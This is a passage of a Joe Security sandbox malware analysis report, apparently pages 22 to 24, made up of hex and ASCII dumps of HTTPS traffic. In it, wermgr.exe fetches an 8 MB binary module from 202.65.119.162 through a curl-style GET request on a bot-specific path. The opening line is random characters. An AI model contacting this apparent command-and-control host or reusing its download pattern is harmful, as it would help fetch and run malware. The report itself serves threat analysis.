!Sd5tPs&t:W9+CHQ7G5~lQK!x~m]2<N82hVHfY5_4Vhe+s$mJlP1vnR"IqoYZu_BP1c_[@/R5jSFC1uXN\nE1mj{8?c*Ef5bXlMG5.p{j~

2021-11-08 19:50:59 UTC 435 IN Data Raw: 4b 70 01 17 c1 42 b5 5a 98 f6 aa 48 4c b6 b6 be ad ae 5c b3 6e cc 37 73 90 f6 57 51 06 67 39 04 93 2e 17 c5 0c 7a e0 43 ef 56 00 e2 45 55 90 36 18 39 72 f7 55 fd b7 02 c5 a6 cb b2 03 56 e2 ed f7 bc 4c e2 5a f0 f9 c3 cf 24 d2 90 b4 a7 07 0a 3d 67 29 55 80 57 7e 19 23 57 26 54 16 3c 7b 63 bb 00 87 ab 68 84 08 df b0 6e 2a 71 8e 85 08 f3 b6 d3 d3 9e 0f 84 10 8e d1 ac 35 c1 b0 d0 00 1c 33 ce 93 c1 38 6d 3f 51 8d 53 36 1c f9 6b b5 ff f9 65 fc 12 bd 89 40 67 32 7c 86 df 48 9b d6 d9 c5 35 69 9a e2 74 99 6e d8 44 62 23 0d 83 54 b9 5c 88 a1 a2 d7 c0 fc 7a f1 da 21 ee a8 9d 18 b6 5a e1 68 af 33 2a 35 89 90 f2 2f 30 fd f9 db 4b 48 c4 53 6a 1e 36 91 be c2 f0 be 22 7c 42 8e de 98 87 4b 2d 95 9c a9 e7 7a c9 9a d3 03 e6 6e 0c 07 dd dc 01 1b d5 36 3a 00 32 d4 9b 76 e7 a2 Data Ascii: KpBZHL\n7sWQg9.zCVEU69rUVLZ$=g)UW~#W&T<{chn*q538m?QS6ke@g2|H5itnDb#T\z!Zh3*5/0KHSj6"|BK-zn6:2v

2021-11-08 19:50:59 UTC 451 IN Data Raw: b2 fd 81 8e c0 8b ad ba 35 db ac 9a e1 fc 02 90 51 dc 2c 8e bd 57 3b 2a 6a 20 51 af de 2e 40 31 aa b4 c1 93 17 5b 3f 71 f2 88 c5 2c 3c fc 7e 98 49 c9 77 78 8f e6 23 ec 12 08 24 91 c5 91 33 14 a2 32 8b 51 3a 6c e1 4f 85 99 aa 8d 26 cc 8b c4 dc 32 0a ca e3 b8 25 03 49 23 1a 7f 50 12 de dc 69 c2 63 cc dc 0c bc 7b 79 66 8d fc 66 5f 34 81 f9 b7 c9 ef 76 0d bd 6b 9d ed 85 27 db 45 ec 9b ea f2 92 91 e2 84 a2 51 7f 0c 84 e3 16 03 5c 73 48 3a 27 a7 6b 1b 70 3e f9 fd db 72 e3 90 ee 9d a5 25 e4 51 df 33 af 00 66 7f 5e 87 ac 17 02 49 f2 0f 12 c6 10 9b 19 e1 c0 25 c1 65 7e a2 fe 59 b7 52 97 25 9b 9791 55 18 f8 0f b5 fc 77 08 dd 24 c4 5f 7a fc 2d cb 8f 34 e9 a1 6a 68 31 e6 4e a9 e8 ab eb bd 20 50 68 3b 48 5a db 01 77 1c 2b 0b 97 5f 9a 68 22 2d fb 23 b1 b4 62 ab 62 1f Data Ascii: 5Q,W;*j Q.@1[?q,<~Iwx#$32Q:lO&2%I#Pic{yff_4vk'EQ\sH:'kp>r%Q3f^I%e~YR%Uw$_z-4jh1N Ph;HZw+_h"-#bb

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 22 of 51

2021-11-08 19:50:59 UTC 467 IN Data Raw: fc e4 ca 17 57 74 62 6b de f7 8d b8 9c e7 66 cf 9f f2 f6 33 91 79 f8 6f 44 5d f7 a9 3f ca 0c 01 12 bf 31 4e 96 ce 02 e2 a9 95 8c e2 7c 65 b9 e1 75 2b 73 7d 77 06 f9 86 e4 56 f2 67 0e 36 42 92 26 61 2b 64 0c 2f c4 84 6a 7c 0d a5 3b 36 18 8f 79 13 78 56 08 72 68 75 86 c4 1f fd 55 fa d0 05 cb b6 a6 c0 8d 1d 9d ff 2e 9f ab 27 c3 30 6b 28 4e ce 08 78 f0 99 d0 1f 73 2f de ea fe 1a 4e d9 33 9b aa 93 0d aa 73 79 ca 9e 27 dc bb 4c d1 0a 3b f2 e6 7b 3e 70 22 d4 b9 97 70 7a 8b 8c e6 e2 c6 e2 5d 8f 93 93 a4 ea 18 7a c2 ba eb 0d 5d 5b 5e d1 7a e2 5c 96 4f e9 10 58 a6 e6 2b 1f 1b d9 7b e9 a4 a8 2e 63 68 67 c2 12 22 e2 f7 b7 08 3e 8f 0f 82 51 98 66 9a 21 f4 b9 27 aa 2c 14 d9 5d 96 39 dc 49 b4 a2 46 8d 95 85 ff 55 d7 a5 9c 62 17 d7 9f d1 5e 90 82 24 ec 13 a2 cc 27 ba 16 Data Ascii: Wtbkf3yoD]?1N|eu+s}wVg6B&a+d/j|;6yxVrhuU.'0k(Nxs/N3sy'L;{>p"pz]z][^z\OX+{.chg">Qf!',]9IFUb^$'

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.11.20 49815 202.65.119.162 443 C:\Windows\System32\wermgr.exe

TimestampkBytestransferred Direction Data

2021-11-08 19:52:02 UTC 472 OUT GET /tot176/878411_W10019042.0BCB5F3BB96E13D3D8A7F33771DABBE8/5/winj/ HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.77.0Host: 202.65.119.162

2021-11-08 19:52:03 UTC 472 IN HTTP/1.1 200 OKServer: nginx/1.10.3Date: Mon, 08 Nov 2021 19:52:03 GMTContent-Type: application/octet-streamContent-Length: 8367232Connection: close

2021-11-08 19:52:03 UTC 472 IN Data Raw: d0 c7 38 ba b0 ab b4 03 a9 2a 0e e9 d3 47 f5 60 fa 52 0f af 66 af 0e de dd 29 1f e1 1b 39 f9 73 74 bf 92 13 eb 74 dd 9e 50 43 bf 5d cd 5c 9d 92 32 ef af 86 ef 03 d4 04 d3 8c 43 35 80 44 58 ad 67 5e 96 1e e3 2d 90 d2 3e 9a d2 c2 00 87 8e 1e ab 3d 93 3d 1f a4 a7 c2 53 0b dd ec 64 65 06 f9 e2 71 52 72 7e 96 65 59 65 b1 6d 90 f9 30 11 0b 00 19 cd 50 1b 66 17 19 24 87 5b 48 26 c1 21 9e be 7f 2a 80 5e f5 11 55 1d ab 00 f2 25 0b dd 64 64 2f df 7f 96 b5 1c 82 40 cd 1f c0 db 66 7e 08 19 dc 0d e9 7a 5c 6b 29 c2 62 91 e3 52 47 d7 58 9f ce 01 aa 7c bb b7 3e c3 fe 86 6a 5a f4 04 25 54 2d 9b 62 d8 0a 6b 32 0b 36 f2 73 0d 8b fb 1b 76 e7 df aa 4c 44 07 28 d0 5b 34 c4 08 aa 80 87 c4 b0 60 ee ee 81 e0 b7 a0 56 9e 34 47 c3 81 6b df 54 09 76 12 46 87 aa 68 ba 7e 5e b2 a7 2c Data Ascii: 8*G`Rf)9sttPC]\2C5DXg^->==SdeqRr~eYem0Pf$[H&!*^U%dd/@f~z\k)bRGX|>jZ%T-bk26svLD([4`V4GkTvFh~^,

2021-11-08 19:52:04 UTC 488 IN Data Raw: e7 8e 4f 9e 6a 19 47 e3 b5 01 16 a7 64 33 4b f2 0b 63 3b 03 76 80 71 a7 a3 0c eb 0b bf 40 31 1e 56 0e 2f 18 10 94 a0 01 59 62 ed f7 19 04 15 eb 7f cf 52 75 07 f0 a1 a7 28 dc 63 59 cb 64 a3 9d 38 86 56 ed 7d cf f1 31 06 18 22 a3 90 11 37 e6 68 8b 49 33 88 b1 65 dd ae d8 ab d0 c3 6c 7d c3 6d 40 43 a3 a2 2f 9c 34 3e 6a 33 c9 f1 fb ca 9f 06 3a c8 ab 20 93 62 40 a5 fc a1 a7 19 ab 11 89 6e 1a 31 38 4e 6e 3b b7 17 31 bc a4 49 84 b8 6d 9f 8e e0 fe 67 cc c9 47 81 38 e7 85 38 e0 91 97 88 aa 62 bd db c7 d4 d3 76 a4 25 67 ed af ab ab 0a f7 5c ec 62 04 69 89 00 1c e7 bb 8d 11 3c f6 fc dc e1 24 f7 ff e4 5f 23 2a 35 66 17 f1 84 55 58 6f 5a 63 82 67 d2 19 07 cb 57 4b df ea 4b 29 45 a4 34 ec a3 5c 35 13 e1 f8 44 0f 73 60 d5 0b 0d d6 4b b8 cc 11 f3 1a a8 73 d9 4a 9b e3 74 Data Ascii: OjGd3Kc;vq@1V/YbRu(cYd8V}1"7hI3el}m@C/4>j3: b@n18Nn;1ImgG88bv%g\bi<$_#*5fUXoZcgWKK)E4\5Ds`KsJt

2021-11-08 19:52:04 UTC 504 IN Data Raw: 86 32 30 c2 6a f2 b2 74 91 4f 06 a9 f3 51 44 3f 30 28 ac f2 fb b2 33 be f0 9e 60 6f 02 f9 c9 fb 91 d1 8c c8 0d 73 3c 7c 36 38 22 f6 e6 43 10 5a ba 2f 00 8d d4 46 e9 97 66 14 92 da c0 8c f1 62 68 a1 c3 7c 98 3b 1f 49 20 87 92 3f 00 3e 5b 6e a7 57 d9 ab 10 2b 60 51 89 e4 5a 23 bc a3 ff f6 ad 2e f4 64 29 5e c4 39 f0 48 d3 40 36 e0 92 a2 5e b2 3c 1b 6a 9b ff e4 cf 3a 24 58 1b 1b de 2f 35 4d 18 43 5f 83 04 3c 24 92 ad 02 aa e5 01 42 f6 b8 6b f3 9e 71 2f 9e 0b 52 49 4f 72 c2 de 89 7d 3a b7 7c 37 43 62 c6 dd cb e8 02 08 99 53 09 32 d1 e9 67 43 46 bc 41 06 a0 5c 69 26 98 0a 71 f2 d5 44 6c a2 cb 27 b4 96 34 90 97 e5 f2 e2 0a 01 c9 f5 ea ea 28 8c 68 4f 1b 26 33 52 cb 06 b3 59 9b ca 25 ce 03 b0 47 ce 34 9a 8d bc a0 f2 0a 18 6a a4 f6 5e 9a 0a 51 37 2b a5 22 83 8c 64 Data Ascii: 20jtOQD?0(3`os<|68"CZ/Ffbh|;I ?>[nW+`QZ#.d)^9H@6^<j:$X/5MC_<$Bkq/RIOr}:|7CbS2gCFA\i&qDl'4(hO&3RY%G4j^Q7+"d

2021-11-08 19:52:05 UTC 520 IN Data Raw: d6 b9 71 c3 75 97 d1 80 55 e0 09 64 7f 2d 5f e6 9d 05 4b 65 74 c9 69 23 c3 fd a1 de f7 99 64 9b 04 28 ed 8c 19b3 c2 ae 44 d9 66 77 7c 7f f8 35 a8 08 3c f1 72 12 b0 24 6e a8 fc 4f 57 6e be 2c e4 c8 43 0b dd 0a b8 b0 36 d3 0b 27 b5 e7 e9 0c e6 a4 f7 75 4b 66 fc 79 db 26 a4 92 1d b5 04 67 dc 66 55 f1 e8 0b 77 fd 44 7b 5b 4a 48 46 db 49 2f d4 29 e7 49 39 8b 35 1b eb 91 b9 1d 89 22 eb 01 eb 3b f4 16 83 34 fd f7 e8 7d c4 a0 1a 8f 12 1d 19 9b 4d 2a 62 4e 62 c3 9e ac 88 5b 17 39 f4 a1 fc 97 6e fe 0b 7d 38 97 c7 33 5d af fd e0 72 e8 42 60 52 3f 5a 9f 5c 61 62 da d8 0e 96 6c a8 1f c9 8e 22 2c c8 2b 08 92 b3 69 ef 62 d0 73 8c f1 a0 b0 20 52 91 db 51 65 13 c8 c4 5e 75 5c c5 8b f3 2e fe 4d 5e a3 5a ec 5b 73 b8 a2 89 e0 ed ec f5 7a 00 7d b7 ec ce 83 2d 89 ef be f9 ef Data Ascii: quUd-_Keti#d(Dfw|5<r$nOWn,C6'uKfy&gfUwD{[JHFI/)I95";4}M*bNb[9n}83]rB`R?Z\abl",+ibs RQe^u\.M^Z[sz}-

2021-11-08 19:52:06 UTC 536 IN Data Raw: 52 6e 9b 7f ea a2 1c e4 4a ed 35 54 0d cd 29 1b 33 d1 79 8c 0d 07 29 24 dc c9 ab b3 52 28 ab f8 9d 7b dd 93 21 29 fb 99 1d bc 0a 51 88 77 33 e6 d1 63 68 8c 44 c1 47 e5 5a a6 65 18 29 79 55 a8 f2 51 4e 7d 8b c5 97 3b 11 bd 78 74 48 0d dc 32 91 8e f7 c4 6b 6c 43 51 44 ef c3 43 5e 5b 20 0c 36 5b 5d 46 2c 78 e8 a9 bc da ca 17 3c dd ee d6 d4 1d f2 8c 0a 4c 93 eb cf 3e c7 c9 99 eb 08 2e 01 53 a7 d3 ea f0 75 fa 1f 5b 5e c2 68 2b 03 24 4d 11 e7 34 52 0f 12 98 3a e6 fb a7 00 02 f5 01 ed 45 e6 88 c6 75 8b 35 34 11 9e 0d c9 63 9e 35 68 a2 a5 da 67 ad a5 7c 1d 7a 78 72 53 84 22 76 b4 77 04 6f 89 13 92 cd 3d 32 1e 11 dd d5 d7 12 6f 16 59 16 56 b0 2f d8 6e 7f 8c 01 c2 d3 81 55 79 3d da 7c 00 46 3f 09 06 42 6b 9c b0 6b 5b 7f d8 a6 45 99 46 99 fe 8b ef 31 ee a2 54 26 07 Data Ascii: RnJ5T)3y)$R({!)Qw3chDGZe)yUQN};xtH2klCQDC^[ 6[]F,x<L>.Su[^h+$M4R:Eu54c5hg|zxrS"vwo=2oYV/nUy=|F?Bkk[EF1T&

2021-11-08 19:52:08 UTC 552 IN Data Raw: 51 08 4c 90 dd 6f 7e b2 0a 07 aa 03 d4 8f 61 a1 81 f5 95 61 c0 68 46 fa 7f c4 35 72 34 80 07 d7 2f cc 93 3e 51 b9 0d 53 ed 58 99 e0 8a 99 84 7f bc c6 e0 68 e3 e4 0c 15 6f c2 ba b2 ee 5f f4 54 ce 81 da 9c 19 79 eb 29 07 f5 ef 84 a0 e1 e8 d6 52 3b ef 44 4a f8 3a 05 b6 d7 e1 66 1f fb 5d c4 36 5b d7 3f 08 04 d3 00 db 34 be f4 19 bd e7 98 6b 3e 8b 40 9e 3f 51 13 9b 89 1d c1 95 56 fa 33 ac 92 72 44 ca 53 ee a1 62 26 0e 13 a0 c3 cc 5f e2 39 f2 e5 fc 3a 33 86 ff 25 fa bf 1a d8 5c 1b 3e b8 5d 5a cd 0f 94 85 e4 87 e2 13 c5 be 8e 57 22 88 c2 13 a8 25 f5 98 e9 47 0c e1 bf e5 70 23 87 e5 f3 ce 80 fd 03 ae 58 a4 b6 eb d9 f1 02 23 bc 6c fd 1b aa 0b f9 c6 96 34 0c 0d 52 8e 58 18 67 57 f3 23 26 d4 68 60 27 ca a7 f4 58 88 52 67 11 6f 09 c5 75 0e f9 1a 5f e0 bc d5 6f d3 33 Data Ascii: QLo~aahF5r4/>QSXho_Ty)R;DJ:f]6[?4k>@?QV3rDSb&_9:3%\>]ZW"%Gp#X#l4RXgW#&h`'XRgou_o3

Copyright Joe Security LLC 2021 Page 23 of 51

2021-11-08 19:52:08 UTC 568 IN Data Raw: b6 0f e3 d4 b6 20 13 d6 d5 1f 9e 09 2d 99 2c 46 97 b0 11 80 6d 99 d8 b9 b7 4e 27 38 f6 65 d7 81 c9 82 64 9d f7 8b 3b c5 9b 15 5c d3 34 a7 a9 65 47 3b b6 0f 61 cb ef 04 8c 91 c0 7b f8 5f e9 ca 07 c1 8e 97 55 0f 24 05 a4 af 67 ac e2 0b a3 b0 bc be 19 6d 4b e7 5e 5f 8f ee 8c b4 02 ba 28 60 b2 41 92 a2 58 47 ff 91 a1 47 26 36 13 d6 31 a7 c5 b8 71 e6 ef 0a f0 b1 a3 8e 49 15 24 e9 67 29 c8 fd 9b 66 5f c4 3b cc 49 b7 f5 9f f8 be b8 3a 8e 6e d0 3f c0 86 72 a4 93 5b 7a d0 cc 3f de 17 77 7d f0 a8 3e f3 18 9c bc 49 00 a0 86 e1 db af df 55 98 54 df 5d a0 7f b0 a6 9b 35 3a 52 86 fc b7 6f 0f 47 ea f0 bd 5c 29 2f fe 44 a3 8c 30 84 b2 aa ca 9e 9c 74 62 04 1a a6 b6 c6 9d 23 bc 15 44 8e b7 6a b7 b4 ee 1e b6 f0 21 8c a5 6d 34 5e 86 40 ea 40 ea f8 e6 cb 4e 75 83 71 7d 74 ed Data Ascii: -,FmN'8ed;\4eG;a{_U$gmK^_(`AXGG&61qI$g)f_;I:n?r[z?w}>IUT]5:RoG\)/D0tb#Dj!m4^@@Nuq}t

2021-11-08 19:52:08 UTC 584 IN Data Raw: cf fe 51 d6 7a a7 1d 8f 76 e4 d0 c0 25 a6 c9 88 2a fd 41 55 3a aa 39 14 9f 6e ba 26 a4 26 a0 ba 2d 88 f8 94 4e d5 e9 68 c9 37 b0 2c af 56 c1 96 b2 1f 4f 13 9c ff ca be fc 58 f0 8d e8 6d b4 11 28 5a 00 0a d4 93 62 25 86 71 ae 83 6f 2d d8 16 c5 75 0e ec ea 7a 54 3a 8e 92 fd 62 66 ae 43 45 30 79 8c d4 1b d8 79 5f 89 6f 84 c0 b8 94 e4 69 06 a7 5e b6 3f 2a 49 f4 76 40 bb 10 4a a8 ab 86 12 dc 05 1a 6b de a8 ec f9 c3 26 c1 a2 a2 c3 7e ab bb 68 7b be f9 0f 1f 6d 84 c5 11 20 99 2e 8c 72 02 1f a2 ab b0 32 c8 75 47 78 a7 e6 e4 9b 2e 97 f9 50 72 ee 76 23 1a 48 ba c9 3c 2d d2 e6 34 47 89 bd b0 c1 7e 4a 9e b2 be e0 f3 a1 92 09 61 44 d5 a7 2e 62 6f 04 a3 36 7c b4 b7 80 36 f4 2f 60 1a bb 12 07 6d c1 ae b9 eb 57 3c 77 84 93 58 c5 99 d1 d8 ea 66 20 a5 15 4c 2c 2e ed 7d 6f Data Ascii: Qzv%*AU:9n&&-Nh7,VOXm(Zb%qo-uzT:bfCE0yy_oi^?*Iv@Jk&~h{m .r2uGx.Prv#H<-4G~JaD.bo6|6/`mW<wXf L,.}o

2021-11-08 19:52:08 UTC 600 IN Data Raw: 2a 95 52 ec 77 1c 01 f3 fe 87 88 c7 72 43 8e 82 28 4a 8d 81 63 11 c8 00 03 3c e8 5c 39 87 13 41 32 62 5e 4a ad 0c 81 50 06 6a d4 b3 70 08 b2 db 3a d9 aa 53 1a 75 a5 81 1c 13 ab 15 bb 09 76 1c e6 36 2f 90 00 60 5f 51 99 53 59 b9 5d 94 be 1c 91 24 55 17 da 06 6b af aa 94 d9 0f ea 28 92 ff 4b 3e 84 1c 52 45 44 92 9d 0c 5d 81 cd 8d e5 6d 19 83 19 fb 67 ea 34 e6 92 ae 4f fa 77 e9 0a 4a ae ee b1 51 cf ca 1b d1 b4 c3 59 2d 96 61 44 f2 53 bb f8 95 e5 1e c9 4c bb ae 0a a0 2e 17 37 6e ba c7 e8 bd 81 7f fb f8 2f b4 46 a9 77 a6 7b 62 fd 41 ca 47 01 b7 df a5 8a 86 17 2e 3e 34 82 c6 8c d0 88 f7 5c 64 70 31 f4 3b e8 95 02 0d 84 2f a3 45 10 1f 30 af 0a 0b f0 e4 d2 91 22 09 25 ff fe eb 2a 3a 66 94 dc 33 6f fb 97 db fd 3d 6e 42 cf be 0b 56 f2 d9 89 94 87 95 f9 e7 62 d4 8c Data Ascii: *RwrC(Jc<\9A2b^JPjp:Suv6/`_QSY]$Uk(K>RED]mg4OwJQY-aDSL.7n/Fw{bAG.>4\dp1;/E0"%*:f3o=nBVb

2021-11-08 19:52:08 UTC 616 IN Data Raw: 2e c2 e5 aa d9 50 2c 04 ee ba d7 4d bd d3 70 d9 9b 10 31 f4 6c 95 a9 1f a8 55 33 95 8d 11 a2 0d 25 4e 02 51 b6 ee f7 b1 b0 af ac be 3d 8d 50 f3 90 7f 00 ba b6 45 07 12 3a c5 d8 5c 35 f6 48 f8 68 4e 68 eb 00 a2 e3 ea 84 77 fb 53 91 94 7f dc ee 4d 07 81 02 8b 14 9a 53 a6 cd 96 35 27 01 54 a6 35 b2 4c 61 87 7e d0 b6 fb 16 20 d4 21 5d 37 e7 12 f5 97 27 a3 9b 69 3b 63 e0 72 0a 93 61 b2 73 d7 cb 13 7e 58 a8 2a b0 34 cc 5e 41 6a 97 0f 83 37 ab 59 9a 1f 0e ef 96 ea bb b7 8f a4 94 9a bd 2a 35 46 be 77 40 d9 8b 33 8f b8 83 b2 95 f6 52 fc 0d 18 5e f4 8b 97 e4 87 6a c7 fc a5 11 a9 bc 68 fe 2d c7 4d c1 b6 96 a2 e6 17 f2 3e de c3 33 24 b7 a2 b4 11 c0 b3 77 99 69 a5 5b 4e bd aa 5f f2 59 cd a6 d7 a6 ad 08 ae 7a dc b9 c9 63 64 83 8d 25 98 00 79 24 3b 85 ee 1d 60 e8 28 17 Data Ascii: .P,Mp1lU3%NQ=PE:\5HhNhwSMS5'T5La~ !]7'i;cras~X*4^Aj7Y*5Fw@3R^jh-M>3$wi[N_Yzcd%y$;`(

2021-11-08 19:52:08 UTC 632 IN Data Raw: 9b 18 f9 81 08 f7 08 f5 f5 2b 9c 8c 88 86 6a e5 06 57 fb d9 6f ea 30 c5 43 1f ed 44 ad 46 6a f4 33 ae a5 5a b3 22 6e 42 b2 f5 38 c8 0a e8 ba 96 8c 56 95 e1 0f 0e 49 50 f9 75 31 1c e4 9e 22 ac b0 a4 9d a1 c2 56 1e 63 26 21 8b 63 33 cb 76 61 77 e2 ae a2 a8 c1 03 ca e7 08 6f ce 69 18 50 2d c8 9b c1 29 6a b7 5f 1c 1d 9e 48 37 29 0b 2e 58 84 62 81 cc a0 37 d2 c1 d4 36 41 c9 28 bf af 3a 93 92 41 9f 76 ab 9a ef f1 7f 85 54 d1 69 be 9f 35 30 90 36 59 ca ba 4f 38 4c 09 0d 29 b7 a5 c1 31 71 e5 a4 7d 0e ce ac a6 8d 7b 82 ca 97 1e 0b 79 7c 39 29 e8 41 57 2a 2f a8 b1 8c c0 2b f4 6a ba 1b 54 66 82 74 6f 9e 26 23 75 e7 81 eb c3 c8 c9 ae d2 ef f5 06 bb 4b fc a4 59 b6 45 6f 24 20 47 e2 8c 35 90 25 9a 32 56 55 b3 8e e6 02 62 b7 14 e1 4f 3f 35 81 61 c4 54 a9 28 3e 5c 41 65 Data Ascii: +jWo0CDFj3Z"nB8VIPu1"Vc&!c3vawoiP-)j_H7).Xb76A(:AvTi506YO8L)1q}{y|9)AW*/+jTfto&#uKYEo$ G5%2VUbO?5aT(>\Ae

2021-11-08 19:52:08 UTC 648 IN Data Raw: 96 13 d0 f3 f5 8b 8f 89 a4 c0 3a 2c 1b 95 80 0a de f9 26 c6 d9 c7 3d 0a 8d 90 8d 05 2b f4 cf 16 9b 11 79 92 27 8b b5 cb 52 cf 39 81 31 a1 7b 7e bc e3 ac c0 c6 51 4c 07 e2 68 12 8a f6 38 dc 84 0c 6b 05 6b 40 1d 9d b2 ad 09 e5 52 71 36 06 a5 eb 74 50 46 59 5d 82 6a aa 98 8d 1b 16 ea 19 97 9c 9f 51 2f d5 6a 56 e2 e4 25 c5 72 22 18 f7 ad 30 20 20 04 bb c2 2e 85 fc 5a 6b d2 b8 8d e8 6f 06 be b1 85 7c 61 dc 22 a0 77 c1 70 a0 90 0d 72 d3 fd 17 82 81 85 06 f1 4e ed be 48 13 15 6c 83 95 23 5c 63 05 e5 1a 3c 08 38 91 47 a0 64 9e 13 0e ca db fd 9d 3b 20 f8 60 92 5c d3 28 4d fe cc 1e 76 8f d6 7a fe f5 b5 13 1b a1 0f b6 10 1b b1 c9 25 ea 05 d0 4a 3c 23 b6 69 08 5f e1 16 64 0c 86 07 04 d1 11 b2 00 43 16 ca 87 de 8a 35 17 13 63 9f a0 e5 7a ab 6c 71 34 8f 07 e5 83 e1 a4 Data Ascii: :,&=+y'R91{~QLh8kk@Rq6tPFY]jQ/jV%r"0 .Zko|a"wprNHl#\c<8Gd; `\(Mvz%J<#i_dC5czlq4

2021-11-08 19:52:08 UTC 664 IN Data Raw: 8d 82 25 27 c3 89 e0 0a 20 27 03 81 18 25 66 66 7f 6e d0 38 93 f8 2f 27 5d e8 d5 02 3a 0a 99 8d d9 8e f9 6d c4 0f 6d 95 bf 4e 32 9f d4 6f 58 25 44 1d 36 c5 92 48 68 a2 28 01 31 bc b2 62 11 b9 88 0e 78 09 94 c0 03 52 83 75 f7 8d 8e cf a6 f5 59 e5 08 3e d4 53 31 24 51 61 95 06 5f 9b 14 80 70 0f 4e 94 a2 d9 85 c8 74 30 04 fc 0d 10 b4 97 a6 21 e1 f3 67 fa 40 3c 6a 0c 03 af 6a f6 49 80 2a 4a a5 3d 4e 25 1a 49 b2 21 b9 a6 f6 a8 da 57 38 88 c4 64 28 b1 c2 60 e6 96 ea 77 c3 89 85 a2 a2 a1 f2 68 b2 4d 95 6a f1 69 76 6a 17 21 05 7f 27 89 63 84 5a 7d cd db ec 8a f1 b0 e6 dd 92 fb a5 60 47 96 b1 72 38 46 24 e8 25 52 f6 de 38 9f ec 5d 53 6f 2d 76 7d 4a 6a 8c c7 d6 ff 6a 68 18 58 d4 a6 6e 7c e6 80 4b 57 ac cd 47 14 07 a9 6b e3 49 3f 0a f1 65 88 16 44 c0 4e 8e 18 31 43 Data Ascii: %' '%ffn8/']:mmN2oX%D6Hh(1bxRuY>S1$Qa_pNt0!g@<jjI*J=N%I!W8d(`whMjivj!'cZ}`Gr8F$%R8]So-v}JjjhXn|KWGkI?eDN1C

2021-11-08 19:52:08 UTC 680 IN Data Raw: be 3e 15 54 7a e5 af 52 41 f0 94 41 34 fd 50 ea 55 3c 25 88 af b9 f2 ce 95 db e4 fe 35 96 6e 32 13 51 e5 26 cf 15 b5 21 cb 19 6b a2 1e 3c 0e 92 8a e6 25 93 23 6a bd 06 5b 4b e4 5f 72 8f c4 05 d2 16 b6 05 9e c1 2d 16 07 dd 7f 61 7b e0 39 34 f1 51 d9 81 ba 34 36 c5 8f f5 42 35 37 6d 0d b4 71 29 77 ed 36 6b 3f 21 b9 cf b6 23 b8 25 30 df 2c b5 67 b6 6c d3 13 ef 02 1b 98 88 e7 82 16 73 ec 4a 36 3f 04 f8 36 d0 a6 18 da d1 b5 b3 8d 99 42 45 65 f5 0a e0 d8 42 ba 63 fc 11 89 ce 2f 2c ed 7a 2b 8f a2 63 8e 69 ea a7 0a a7 1a 41 b6 c3 99 af 0e b0 e7 26 5a 29 42 a0 2c eb bb e2 31 4b dc 0f 44 f0 c6 74 0d b6 04 c0 28 e2 4a 0c d2 02 80 a6 05 76 85 e4 c2 02 41 9b 66 06 d0 5f f5 f2 f5 b1 2d 46 91 cd ea 6a 4a 16 58 ba df 64 14 cc 23 b6 47 d7 a3 41 11 30 cb d7 eb e9 a9 32 18 Data Ascii: >TzRAA4PU<%5n2Q&!k<%#j[K_r-a{94Q46B57mq)w6k?!#%0,glsJ6?6BEeBc/,z+ciA&Z)B,1KDt(JvAf_-FjJXd#GA02

2021-11-08 19:52:09 UTC 696 IN Data Raw: 8d 5a ba b4 4e cf 15 5b 67 40 63 3d 67 2e ce be a3 18 c5 d0 2e bd 5c 0c 1e 6c c2 08 85 e7 30 9b 06 f7 3d 5e 84 99 fc f8 98 d2 06 d2 e0 cf 32 1f 74 c0 75 ec 63 b9 b2 ac fc 85 72 8c 21 55 a4 27 ee 0d c1 db f5 a0 ea 63 2c ee a6 2e bc 9e 3d 54 c6 f4 f8 5f ee 46 9c c6 23 97 0f 00 7e ba 2d 40 19 c6 4c 1c e3 08 f9 4f 90 00 01 5e af 95 cc 54 2f 2e ee 28 7d 80 c7 84 ce 08 dc 79 75 5d 2b 31 f8 58 15 75 29 86 70 f0 d5 da 88 2b 96 5d ce 47 4d 2c c6 39 f7 d3 85 35 9e 06 df d5 0b fa 69 6a f8 a6 77 59 a4 0d 7c 45 ea 85 a0 f3 98 23 2d 05 a1 2f ac 70 c0 2c 30 8c 4e 54 1e 7f 61 d4 c4 4b b0 9e 93 1e ca 6d 01 49 79 c3 55 c7 94 a6 b6 bc bf d2 66 cf 7d 4b 8d cf 75 f8 6b e6 e4 26 4a 04 bf a2 07 45 23 a9 00 a3 c2 13 9d 68 25 25 fc 9b 26 e5 50 8e 97 1e 09 c4 22 19 32 e4 61 50 62 Data Ascii: ZN[g@c=g..\l0=^2tucr!U'c,.=T_F#~-@LO^T/.(}yu]+1Xu)p+]GM,95ijwY|E#-/p,0NTaKmIyUf}Kuk&JE#h%%&P"2aPb

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 24 of 51

2021-11-08 19:52:09 UTC 712 IN Data Raw: 6d aa 2b cf 4b c0 f6 31 11 1f 58 f2 aa db ee b4 00 35 ae d8 0c f1 2a 77 04 be b3 7d f2 52 38 d5 7b 72 7a 2b ef 18 2c 67 28 6d c5 44 4d a8 ed 06 14 5d 9a 17 8b 7b 3c 75 0d 47 2e 51 64 90 38 7e 3a c6 83 90 98 3d 46 35 da b9 c5 e0 28 ac 9d b5 96 d8 11 34 59 64 08 22 f2 55 29 45 52 8e a4 b0 0d c2 ec cb 07 66 bc ca 87 fd 52 4e a5 76 09 47 c3 2a 7b c3 ef ae 78 7a fc 99 8c a4 50 76 32 7e 67 a4 30 ff 42 49 b6 8d 94 27 b0 8c 1b b1 b8 2a 25 c7 0a fa 1b 86 25 6b 9a 6f 4d c4 0b 44 0c b6 3f b2 f0 a5 f5 3d 0f 3d c5 cc 96 ce 67 de 03 e9 31 05 78 28 b1 eb 34 58 2b 8c 19 84 e4 41 36 c5 46 8e 56 d3 aa 0f de 7d 15 cd e4 53 ad cf b7 b6 98 d7 3d a6 12 0c ef 28 60 2e 8e 6e 04 0e d8 9e ae bb 5b 07 04 5f 84 a0 a5 71 2a c4 36 ab 6c 73 f0 0d a0 df 05 29 af fb c2 c7 c7 1f d2 89 a1 Data Ascii: m+K1X5*w}R8{rz+,g(mDM]{<uG.Qd8~:=F5(4Yd"U)ERfRNvG*{xzPv2~g0BI'*%%koMD?==g1x(4X+A6FV}S=(`.n[_q*6ls)

